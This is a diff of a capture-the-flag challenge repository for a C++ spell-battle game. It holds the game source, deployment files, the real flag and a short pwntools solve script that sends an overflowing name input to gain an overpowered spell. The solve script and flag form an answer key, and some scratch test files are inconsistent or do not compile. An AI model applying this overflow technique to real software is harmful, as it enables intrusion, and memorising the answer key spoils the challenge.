@ -0,0 +1,53 @@ | |||
{ | |||
"files.associations": { | |||
"chrono": "cpp", | |||
"array": "cpp", | |||
"atomic": "cpp", | |||
"*.tcc": "cpp", | |||
"cctype": "cpp", | |||
"clocale": "cpp", | |||
"cmath": "cpp", | |||
"cstdarg": "cpp", | |||
"cstddef": "cpp", | |||
"cstdint": "cpp", | |||
"cstdio": "cpp", | |||
"cstdlib": "cpp", | |||
"cstring": "cpp", | |||
"ctime": "cpp", | |||
"cwchar": "cpp", | |||
"cwctype": "cpp", | |||
"deque": "cpp", | |||
"unordered_map": "cpp", | |||
"vector": "cpp", | |||
"exception": "cpp", | |||
"algorithm": "cpp", | |||
"functional": "cpp", | |||
"iterator": "cpp", | |||
"map": "cpp", | |||
"memory": "cpp", | |||
"memory_resource": "cpp", | |||
"numeric": "cpp", | |||
"optional": "cpp", | |||
"random": "cpp", | |||
"ratio": "cpp", | |||
"string": "cpp", | |||
"string_view": "cpp", | |||
"system_error": "cpp", | |||
"tuple": "cpp", | |||
"type_traits": "cpp", | |||
"utility": "cpp", | |||
"fstream": "cpp", | |||
"initializer_list": "cpp", | |||
"iosfwd": "cpp", | |||
"iostream": "cpp", | |||
"istream": "cpp", | |||
"limits": "cpp", | |||
"new": "cpp", | |||
"ostream": "cpp", | |||
"sstream": "cpp", | |||
"stdexcept": "cpp", | |||
"streambuf": "cpp", | |||
"thread": "cpp", | |||
"typeinfo": "cpp" | |||
} | |||
} |
@ -1,2 +1,7 @@ | |||
# spell-warz-again-and-again | |||
# spell-warz-again | |||
Hello guys, there's an update to my last game<br> | |||
Now you can choose your own name! Cool isn't it :)<br> | |||
Also, I made the new Arch-Mage a little weak<br> | |||
please defeat him again!<br> | |||
`nc 103.200.7.150 30311` |
@ -0,0 +1,10 @@ | |||
version: "2" | |||
services: | |||
main: | |||
build: . | |||
container_name: "spell-warz-again" | |||
network_mode: "bridge" | |||
restart: on-failure | |||
ports: | |||
- "30311:12345" |
@ -1 +1 @@ | |||
slashroot{dummy} | |||
SlashRootCTF{h1dd3n_Sp3l1_f0r_a_h1dd3n_fl4g} |
@ -0,0 +1,9 @@ | |||
#include "lib/Spell.hpp" | |||
int main(int argc, char const *argv[]) | |||
{ | |||
int i = 3; | |||
Spell spell = Spell("?", Element("Void"), Spell::NULL_TYPE, 0, 0); | |||
spell.getElement().getName() | |||
return 0; | |||
} |
@ -0,0 +1,60 @@ | |||
#include "Element.hpp" | |||
int Element::WEAK_COMPATIBILITY = -1; | |||
int Element::NEUTRAL_COMPATIBILITY = 0; | |||
int Element::STRONG_COMPATIBILITY = 1; | |||
Element::Element(std::string elementName, | |||
Element *elementWeakAgainst, | |||
Element *elementStrongAgainst) | |||
: name(elementName), | |||
weakAgainst(elementWeakAgainst), | |||
strongAgainst(elementStrongAgainst) | |||
{ | |||
} | |||
std::string Element::getName() | |||
{ | |||
return this->name; | |||
} | |||
void Element::setStrongAgainst(Element *element) | |||
{ | |||
this->strongAgainst = element; | |||
} | |||
void Element::setWeakAgainst(Element *element) | |||
{ | |||
this->weakAgainst = element; | |||
} | |||
bool Element::isStrongAgainst(Element *element) | |||
{ | |||
return this->strongAgainst == element; | |||
} | |||
bool Element::isWeakAgainst(Element *element) | |||
{ | |||
return this->weakAgainst == element; | |||
} | |||
int Element::compatibilityAgainst(Element *element) | |||
{ | |||
if (this->isStrongAgainst(element)) | |||
{ | |||
return Element::STRONG_COMPATIBILITY; | |||
} | |||
else if (this->isWeakAgainst(element)) | |||
{ | |||
return Element::WEAK_COMPATIBILITY; | |||
} | |||
else | |||
{ | |||
return Element::NEUTRAL_COMPATIBILITY; | |||
} | |||
} | |||
bool Element::operator<(Element &element) | |||
{ | |||
return this->name < element.name; | |||
} |
@ -0,0 +1,30 @@ | |||
#ifndef SPELL_WARZ_ELEMENT_HPP | |||
#define SPELL_WARZ_ELEMENT_HPP 1 | |||
#include <string> | |||
class Element | |||
{ | |||
protected: | |||
std::string name; | |||
Element *strongAgainst; | |||
Element *weakAgainst; | |||
public: | |||
static int WEAK_COMPATIBILITY; | |||
static int NEUTRAL_COMPATIBILITY; | |||
static int STRONG_COMPATIBILITY; | |||
Element(std::string elementName, | |||
Element *elementWeakAgainst = nullptr, | |||
Element *elementStrongAgainst = nullptr); | |||
std::string getName(); | |||
void setStrongAgainst(Element *element); | |||
void setWeakAgainst(Element *element); | |||
bool isStrongAgainst(Element *element); | |||
bool isWeakAgainst(Element *element); | |||
int compatibilityAgainst(Element *element); | |||
bool operator<(Element &rhs); | |||
}; | |||
#endif |
@ -0,0 +1,101 @@ | |||
#include "Game.hpp" | |||
std::map<std::string, Element> Game::Elements; | |||
std::map<Element, std::vector<Spell>> Game::SpellBook; | |||
std::vector<Character> Game::PlayerParty; | |||
bool Game::isPartyAlive(std::vector<Character> &party) | |||
{ | |||
std::vector<Character>::iterator it; | |||
for (it = party.begin(); it != party.end(); ++it) | |||
{ | |||
if (it->isAlive()) | |||
{ | |||
return true; | |||
} | |||
} | |||
return false; | |||
} | |||
void Game::init() | |||
{ | |||
/* initialise elements */ | |||
Game::Elements["Fire"] = Element("Fire"); | |||
Game::Elements["Water"] = Element("Water"); | |||
Game::Elements["Wind"] = Element("Wind"); | |||
Game::Elements["Earth"] = Element("Earth"); | |||
Game::Elements["Holy"] = Element("Holy"); | |||
Game::Elements["Dark"] = Element("Dark"); | |||
Game::Elements["Void"] = Element("Void"); | |||
Game::Elements["Fire"].setStrongAgainst(&Game::Elements["Earth"]); | |||
Game::Elements["Fire"].setWeakAgainst(&Game::Elements["Water"]); | |||
Game::Elements["Water"].setStrongAgainst(&Game::Elements["Fire"]); | |||
Game::Elements["Water"].setWeakAgainst(&Game::Elements["Wind"]); | |||
Game::Elements["Wind"].setStrongAgainst(&Game::Elements["Water"]); | |||
Game::Elements["Wind"].setWeakAgainst(&Game::Elements["Earth"]); | |||
Game::Elements["Earth"].setStrongAgainst(&Game::Elements["Wind"]); | |||
Game::Elements["Earth"].setWeakAgainst(&Game::Elements["Fire"]); | |||
Game::Elements["Holy"].setStrongAgainst(&Game::Elements["Dark"]); | |||
Game::Elements["Holy"].setWeakAgainst(&Game::Elements["Dark"]); | |||
Game::Elements["Dark"].setStrongAgainst(&Game::Elements["Holy"]); | |||
Game::Elements["Dark"].setWeakAgainst(&Game::Elements["Holy"]); | |||
/* initialise spell book */ | |||
SpellBook[Game::Elements["Fire"]] = { | |||
Spell("Fire Bolt", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 10, 5), | |||
Spell("Warm Touch", &Game::Elements["Fire"], Spell::TYPE_RESTORATION, 10, 10), | |||
Spell("Flame Javelin", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 25, 15), | |||
Spell("Flaming Rocket", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 50, 20), | |||
Spell("Sun's Strike", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 100, 25), | |||
Spell("Big Bang", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 200, 30)}; | |||
SpellBook[Game::Elements["Water"]] = { | |||
Spell("Water Splash", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 10, 5), | |||
Spell("Healing Water", &Game::Elements["Water"], Spell::TYPE_RESTORATION, 10, 10), | |||
Spell("Jet Stream", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 25, 15), | |||
Spell("Rain of Healing", &Game::Elements["Water"], Spell::TYPE_RESTORATION, 25, 20), | |||
Spell("Whirlpool", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 50, 25), | |||
Spell("Tsunami", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 100, 30), | |||
}; | |||
SpellBook[Game::Elements["Wind"]] = { | |||
Spell("Breath of Wind", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 10, 5), | |||
Spell("Wind of Restoration", &Game::Elements["Wind"], Spell::TYPE_RESTORATION, 10, 10), | |||
Spell("Air Needle", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 25, 15), | |||
Spell("Tornado", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 50, 20), | |||
Spell("Twin Tornado", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 100, 25), | |||
Spell("Triple Tornado", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 200, 30), | |||
}; | |||
SpellBook[Game::Elements["Earth"]] = { | |||
Spell("Rock Throw", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 10, 5), | |||
Spell("Earth Sheet", &Game::Elements["Earth"], Spell::TYPE_RESTORATION, 10, 10), | |||
Spell("Earth Split", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 25, 15), | |||
Spell("Crushed Earth", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 50, 20), | |||
Spell("Wall of Eden", &Game::Elements["Earth"], Spell::TYPE_RESTORATION, 50, 25), | |||
Spell("Earthquake", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 100, 30), | |||
}; | |||
SpellBook[Game::Elements["Holy"]] = { | |||
Spell("Holy Light", &Game::Elements["Holy"], Spell::TYPE_DESTRUCTION, 10, 5), | |||
Spell("Healing Light", &Game::Elements["Holy"], Spell::TYPE_RESTORATION, 25, 10), | |||
Spell("Light of Judgment", &Game::Elements["Holy"], Spell::TYPE_DESTRUCTION, 50, 15), | |||
Spell("Flame of Purgatory", &Game::Elements["Holy"], Spell::TYPE_DESTRUCTION, 100, 20), | |||
Spell("God's Protection", &Game::Elements["Holy"], Spell::TYPE_RESTORATION, 1000000000, 25), | |||
}; | |||
SpellBook[Game::Elements["Dark"]] = { | |||
Spell("Dark Touch", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 10, 5), | |||
Spell("Hell's Touch", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 25, 10), | |||
Spell("Hell's Inferno", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 50, 15), | |||
Spell("Eclipse", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 100, 20), | |||
Spell("Hell on Earth", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 200, 25), | |||
}; | |||
SpellBook[Game::Elements["Void"]] = { | |||
Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1, 1), | |||
Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 10, 1), | |||
Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 100, 1), | |||
Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1000, 1), | |||
Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 10000, 1), | |||
Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 100000, 1), | |||
Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1000000, 1), | |||
Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 10000000, 1), | |||
Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 100000000, 1), | |||
Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1000000000, 1), | |||
}; | |||
} |
@ -0,0 +1,22 @@ | |||
#ifndef SPELL_WARZ_GAME_HPP | |||
#define SPELL_WARZ_GAME_HPP 1 | |||
#include <map> | |||
#include <vector> | |||
#include "Element.hpp" | |||
#include "Spell.hpp" | |||
#include "Character.hpp" | |||
namespace Game | |||
{ | |||
extern std::map<std::string, Element> Elements; | |||
extern std::map<Element, std::vector<Spell>> SpellBook; | |||
extern std::vector<Character> PlayerParty; | |||
void init(); | |||
bool isPartyAlive(std::vector<Character *> &party); | |||
} // namespace Game | |||
#endif |
@ -1,27 +1,32 @@ | |||
#ifndef SPELL_WARZ_SPELL_CPP | |||
#define SPELL_WARZ_SPELL_CPP 1 | |||
#include <vector> | |||
#include <string> | |||
#include "Element.hpp" | |||
class Spell | |||
{ | |||
protected: | |||
std::string name; | |||
Element *element; | |||
int type; | |||
int amount; | |||
int power; | |||
int cost; | |||
public: | |||
int TYPE_RESTORATION = 0; | |||
int TYPE_DESTRUCTION = 1; | |||
static std::vector<Spell> Book; | |||
static int TYPE_RESTORATION; | |||
static int TYPE_DESTRUCTION; | |||
Spell(std::string, int, int, int); | |||
Spell(std::string spellName, | |||
Element *spellElement, | |||
int spellType, | |||
int spellPower, | |||
int spellCost); | |||
int getType(); | |||
int getAmount(); | |||
int getPower(); | |||
int getCost(); | |||
Element *getElement(); | |||
std::string getName(); | |||
}; | |||
@ -0,0 +1,106 @@ | |||
#include <map> | |||
#include <vector> | |||
#include <fstream> | |||
#include "lib/Character.hpp" | |||
#include "lib/Spell.hpp" | |||
#include "lib/Element.hpp" | |||
#include "lib/BattleInterface.hpp" | |||
#include "lib/UserInterface.hpp" | |||
std::string loadFlag() | |||
{ | |||
std::string flagString; | |||
std::ifstream flagFile("flag.txt"); | |||
flagFile >> flagString; | |||
flagFile.close(); | |||
return flagString; | |||
} | |||
int main() | |||
{ | |||
std::map<std::string, Element *> Elements; | |||
std::map<Element *, std::vector<Spell *>> SpellBook; | |||
std::vector<Character *> PlayerParty; | |||
/* initialise elements */ | |||
Elements["Fire"] = new Element("Fire"); | |||
Elements["Water"] = new Element("Water"); | |||
Elements["Wind"] = new Element("Wind"); | |||
Elements["Earth"] = new Element("Earth"); | |||
Elements["Holy"] = new Element("Holy"); | |||
Elements["Dark"] = new Element("Dark"); | |||
Elements["Void"] = new Element("Void"); | |||
Elements["Fire"]->setStrongAgainst(Elements["Earth"]); | |||
Elements["Fire"]->setWeakAgainst(Elements["Water"]); | |||
Elements["Water"]->setStrongAgainst(Elements["Fire"]); | |||
Elements["Water"]->setWeakAgainst(Elements["Wind"]); | |||
Elements["Wind"]->setStrongAgainst(Elements["Water"]); | |||
Elements["Wind"]->setWeakAgainst(Elements["Earth"]); | |||
Elements["Earth"]->setStrongAgainst(Elements["Wind"]); | |||
Elements["Earth"]->setWeakAgainst(Elements["Fire"]); | |||
Elements["Holy"]->setStrongAgainst(Elements["Dark"]); | |||
Elements["Holy"]->setWeakAgainst(Elements["Dark"]); | |||
Elements["Dark"]->setStrongAgainst(Elements["Holy"]); | |||
Elements["Dark"]->setWeakAgainst(Elements["Holy"]); | |||
/* initialise spell book */ | |||
SpellBook[Elements["Fire"]] = { | |||
new Spell("Fire Bolt", Elements["Fire"], Spell::DESTRUCTION_TYPE, 10, 5), | |||
new Spell("Warm Touch", Elements["Fire"], Spell::RESTORATION_TYPE, 10, 10), | |||
new Spell("Flame Javelin", Elements["Fire"], Spell::DESTRUCTION_TYPE, 25, 15), | |||
new Spell("Flaming Rocket", Elements["Fire"], Spell::DESTRUCTION_TYPE, 50, 20), | |||
new Spell("Sun's Strike", Elements["Fire"], Spell::DESTRUCTION_TYPE, 100, 25), | |||
new Spell("Big Bang", Elements["Fire"], Spell::DESTRUCTION_TYPE, 200, 30)}; | |||
SpellBook[Elements["Water"]] = { | |||
new Spell("Water Splash", Elements["Water"], Spell::DESTRUCTION_TYPE, 10, 5), | |||
new Spell("Healing Water", Elements["Water"], Spell::RESTORATION_TYPE, 10, 10), | |||
new Spell("Jet Stream", Elements["Water"], Spell::DESTRUCTION_TYPE, 25, 15), | |||
new Spell("Rain of Healing", Elements["Water"], Spell::RESTORATION_TYPE, 25, 20), | |||
new Spell("Whirlpool", Elements["Water"], Spell::DESTRUCTION_TYPE, 50, 25), | |||
new Spell("Tsunami", Elements["Water"], Spell::DESTRUCTION_TYPE, 100, 30), | |||
}; | |||
SpellBook[Elements["Wind"]] = { | |||
new Spell("Breath of Wind", Elements["Wind"], Spell::DESTRUCTION_TYPE, 10, 5), | |||
new Spell("Wind of Restoration", Elements["Wind"], Spell::RESTORATION_TYPE, 10, 10), | |||
new Spell("Air Needle", Elements["Wind"], Spell::DESTRUCTION_TYPE, 25, 15), | |||
new Spell("Tornado", Elements["Wind"], Spell::DESTRUCTION_TYPE, 50, 20), | |||
new Spell("Twin Tornado", Elements["Wind"], Spell::DESTRUCTION_TYPE, 100, 25), | |||
new Spell("Triple Tornado", Elements["Wind"], Spell::DESTRUCTION_TYPE, 200, 30), | |||
}; | |||
SpellBook[Elements["Earth"]] = { | |||
new Spell("Rock Throw", Elements["Earth"], Spell::DESTRUCTION_TYPE, 10, 5), | |||
new Spell("Earth Sheet", Elements["Earth"], Spell::RESTORATION_TYPE, 10, 10), | |||
new Spell("Earth Split", Elements["Earth"], Spell::DESTRUCTION_TYPE, 25, 15), | |||
new Spell("Crushed Earth", Elements["Earth"], Spell::DESTRUCTION_TYPE, 50, 20), | |||
new Spell("Wall of Eden", Elements["Earth"], Spell::RESTORATION_TYPE, 50, 25), | |||
new Spell("Earthquake", Elements["Earth"], Spell::DESTRUCTION_TYPE, 100, 30), | |||
}; | |||
SpellBook[Elements["Holy"]] = { | |||
new Spell("Holy Light", Elements["Holy"], Spell::DESTRUCTION_TYPE, 10, 5), | |||
new Spell("Healing Light", Elements["Holy"], Spell::RESTORATION_TYPE, 25, 10), | |||
new Spell("Light of Judgment", Elements["Holy"], Spell::DESTRUCTION_TYPE, 50, 15), | |||
new Spell("Flame of Purgatory", Elements["Holy"], Spell::DESTRUCTION_TYPE, 100, 20), | |||
new Spell("God's Protection", Elements["Holy"], Spell::RESTORATION_TYPE, 1000000000, 25), | |||
}; | |||
SpellBook[Elements["Dark"]] = { | |||
new Spell("Dark Touch", Elements["Dark"], Spell::DESTRUCTION_TYPE, 10, 5), | |||
new Spell("Hell's Touch", Elements["Dark"], Spell::DESTRUCTION_TYPE, 25, 10), | |||
new Spell("Hell's Inferno", Elements["Dark"], Spell::DESTRUCTION_TYPE, 50, 15), | |||
new Spell("Eclipse", Elements["Dark"], Spell::DESTRUCTION_TYPE, 100, 20), | |||
new Spell("Hell on Earth", Elements["Dark"], Spell::DESTRUCTION_TYPE, 200, 25), | |||
}; | |||
SpellBook[Elements["Void"]] = { | |||
new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1, 1), | |||
new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 10, 1), | |||
new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 100, 1), | |||
new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1000, 1), | |||
new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 10000, 1), | |||
new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 100000, 1), | |||
new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1000000, 1), | |||
new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 10000000, 1), | |||
new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 100000000, 1), | |||
new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1000000000, 1), | |||
}; | |||
} |
@ -0,0 +1,18 @@ | |||
from pwn import * | |||
if __name__ == "__main__": | |||
p = process("./main") | |||
print p.recvuntil(">") | |||
p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) | |||
print p.recvuntil(">") | |||
p.sendline("y") | |||
print p.recvuntil(">") | |||
p.sendline("2") | |||
print p.recvuntil(">") | |||
p.sendline("4") | |||
print p.recvuntil(">") | |||
p.sendline("y") | |||
for i in xrange(99): | |||
print p.recvuntil(">") | |||
p.sendline("9") | |||
p.interactive() |
@ -0,0 +1,12 @@ | |||
#include <iostream> | |||
#include "lib/Game.hpp" | |||
#include "lib/Character.hpp" | |||
int main(int argc, char const *argv[]) | |||
{ | |||
Game::init(); | |||
Character player = Character("Myitinos", &Game::Elements["Fire"]); | |||
std::cout << Game::SpellBook[player.getAffinity()].at(0).getName() << std::endl; | |||
return 0; | |||
} |